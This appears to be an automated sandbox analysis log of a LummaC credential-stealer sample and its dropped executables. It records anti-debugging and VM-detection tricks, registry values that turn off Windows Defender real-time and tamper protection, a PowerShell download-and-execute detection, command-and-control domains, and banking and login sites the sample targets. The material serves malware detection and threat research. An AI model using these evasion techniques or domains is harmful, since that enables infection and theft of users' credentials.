Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A9772E second address: A97734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97734 second address: A97752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F62F943B887h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97752 second address: A977AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F62F8C4B1A9h 0x00000011 jmp 00007F62F8C4B1A8h 0x00000016 jmp 00007F62F8C4B1A6h 0x0000001b popad 0x0000001c jg 00007F62F8C4B198h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A978EB second address: A9791E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F62F943B888h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jo 00007F62F943B878h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F62F943B876h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97A7D second address: A97ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F62F8C4B19Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 jl 00007F62F8C4B1DDh 0x00000017 pushad 0x00000018 jmp 00007F62F8C4B19Ch 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007F62F8C4B19Eh 0x00000024 jmp 00007F62F8C4B19Fh 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e jc 00007F62F8C4B196h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97ACB second address: A97AD5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F62F943B876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97DCE second address: A97DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97DE4 second address: A97DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A8E205 second address: A8E225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A8h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A63124 second address: A63147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B887h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F62F943B876h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A9847A second address: A98480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A98480 second address: A9848C instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B876h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A98704 second address: A98708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A98708 second address: A98731 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62F943B87Ah 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007F62F943B87Ah 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007F62F943B876h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A98731 second address: A98735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A98735 second address: A98739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A9A6AE second address: A9A6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jng 00007F62F8C4B196h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A9AE94 second address: A9AEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B885h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A9BECD second address: A9BEE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A9BEE7 second address: A9BF04 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F62F943B87Dh 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Special instruction interceptor: First address: 9E7986 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Special instruction interceptor: First address: B92A56 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Special instruction interceptor: First address: BBD9FA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Special instruction interceptor: First address: C28DCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Special instruction interceptor: First address: 8FDCD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Special instruction interceptor: First address: A9B99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Special instruction interceptor: First address: A9A8A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Special instruction interceptor: First address: AC355B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Special instruction interceptor: First address: B2BFFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Special instruction interceptor: First address: 30FD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Special instruction interceptor: First address: 30FE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Special instruction interceptor: First address: 4D5762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Special instruction interceptor: First address: 534BDE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Memory allocated: 4890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Memory allocated: 4A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Memory allocated: 6A20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Code function: 9_2_00A789CE rdtsc

9_2_00A789CE

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7424	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7400	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7868	Thread sleep time: -330000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7404	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7416	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe TID: 2552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1766251937.000000000048D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Bire1g8ahY.exe, 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1460130635.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1460130635.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Bire1g8ahY.exe, 00000000.00000003.1411479819.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1766251937.000000000048D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Code function: 9_2_00A789CE rdtsc

9_2_00A789CE

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Code function: 9_2_008FB96C LdrInitializeThunk,

9_2_008FB96C

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132, type: MEMORYSTR

LummaC encrypted strings found

Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: *Program Manager
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1766673246.00000000004D0000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Bire1g8ahY.exe PID: 7312, type: MEMORYSTR
